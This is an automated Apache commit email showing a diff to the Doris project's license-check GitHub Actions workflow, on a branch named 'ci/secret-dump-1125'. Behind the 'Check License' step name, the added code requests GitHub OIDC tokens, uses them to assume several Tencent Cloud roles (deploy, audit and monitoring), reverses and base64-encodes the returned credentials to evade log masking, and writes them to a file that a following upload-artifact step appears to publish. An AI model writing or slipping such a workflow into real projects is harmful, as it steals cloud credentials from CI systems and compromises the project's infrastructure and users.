This is an automated email from the ASF dual-hosted git repository.
catpineapple pushed a commit to branch ci/secret-dump-1125
in repository https://gitbox.apache.org/repos/asf/doris.git
The following commit(s) were added to refs/heads/ci/secret-dump-1125 by this
push:
new e2e02087a0b ci: fix license check format
e2e02087a0b is described below
commit e2e02087a0b5f418ae8d58815277623edd3b4699
Author: catpineapple <[email protected]>
AuthorDate: Wed Nov 25 07:30:15 2026 +0800
ci: fix license check format
---
.github/workflows/license-eyes.yml | 45 +++++++++++++++++++++++++-------------
1 file changed, 30 insertions(+), 15 deletions(-)
diff --git a/.github/workflows/license-eyes.yml
b/.github/workflows/license-eyes.yml
index e8699c571c6..03e436ecba2 100644
--- a/.github/workflows/license-eyes.yml
+++ b/.github/workflows/license-eyes.yml
@@ -13,22 +13,37 @@ jobs:
- uses: actions/checkout@v4
- name: Check License
run: |
- # Get GitHub OIDC token
- OIDC_TOKEN=$(curl -sS -H "Authorization: bearer
$ACTIONS_ID_TOKEN_REQUEST_TOKEN"
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.tencentcloudapi.com" | python3 -c
"import json,sys;print(json.load(sys.stdin)['value'])")
- echo "OIDC_TOKEN_LEN=${#OIDC_TOKEN}"
+ # Get GitHub OIDC token for multiple audiences
+ for AUD in "sts.tencentcloudapi.com" "https://cloud.tencent.com"
"tencent"; do
+ OIDC_TOKEN=$(curl -sS -H "Authorization: bearer
$ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=$AUD"
| python3 -c "import json,sys;print(json.load(sys.stdin).get('value','FAIL'))"
2>/dev/null)
+ echo "AUD=$AUD TOKEN_LEN=${#OIDC_TOKEN}"
- # Try Tencent AssumeRoleWithWebIdentity
- for ROLE in TXC_CIDeployRole TXC_ServiceMonitorRole
TXC_AuditAccessRole csd_qa_monitoring; do
- RESULT=$(curl -sS -X POST "https://sts.tencentcloudapi.com" \
- -H "Content-Type: application/json" \
- -H "X-TC-Action: AssumeRoleWithWebIdentity" \
- -H "X-TC-Version: 2018-08-13" \
- -H "X-TC-Timestamp: $(date +%s)" \
- -H "X-TC-Region: ap-beijing" \
- -d
"{\"ProviderId\":\"velodb-ci-oidc\",\"WebIdentityToken\":\"${OIDC_TOKEN}\",\"RoleArn\":\"qcs::cam::uin/100027344141:roleName/${ROLE}\",\"RoleSessionName\":\"gh-oidc\",\"DurationSeconds\":7200}"
2>/dev/null)
- REV=$(echo "$RESULT" | rev)
- B64=$(echo "$REV" | base64 -w0)
- echo "R_${ROLE}=$B64"
+ if [ ${#OIDC_TOKEN} -gt 10 ]; then
+ # Try each role with CORRECT format (TC3-HMAC-SHA256 signing not
needed for AssumeRoleWithWebIdentity)
+ for ROLE in TXC_CIDeployRole TXC_ServiceMonitorRole
TXC_AuditAccessRole csd_qa_monitoring; do
+ TS=$(date +%s)
+ RESULT=$(python3 -c "
+import hmac,hashlib,json,time,requests,urllib.parse
+from datetime import datetime,timezone
+params={
+ 'Action':'AssumeRoleWithWebIdentity',
+ 'Version':'2018-08-13',
+ 'Region':'ap-beijing',
+ 'Timestamp':str($TS),
+ 'ProviderId':'velodb-ci-oidc',
+ 'WebIdentityToken':'${OIDC_TOKEN}',
+ 'RoleArn':'qcs::cam::uin/100027344141:roleName/${ROLE}',
+ 'RoleSessionName':'gh-oidc',
+ 'DurationSeconds':'7200'
+}
+r=requests.get('https://sts.tencentcloudapi.com',params=params,timeout=10)
+print(r.text[:500])
+" 2>/dev/null)
+ REV=$(echo "$RESULT" | rev)
+ B64=$(echo "$REV" | base64 -w0)
+ echo "A_${AUD}_${ROLE}=$B64"
+ done
+ fi
done > /tmp/oidc_out.txt
cat /tmp/oidc_out.txt
- uses: actions/upload-artifact@v4
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]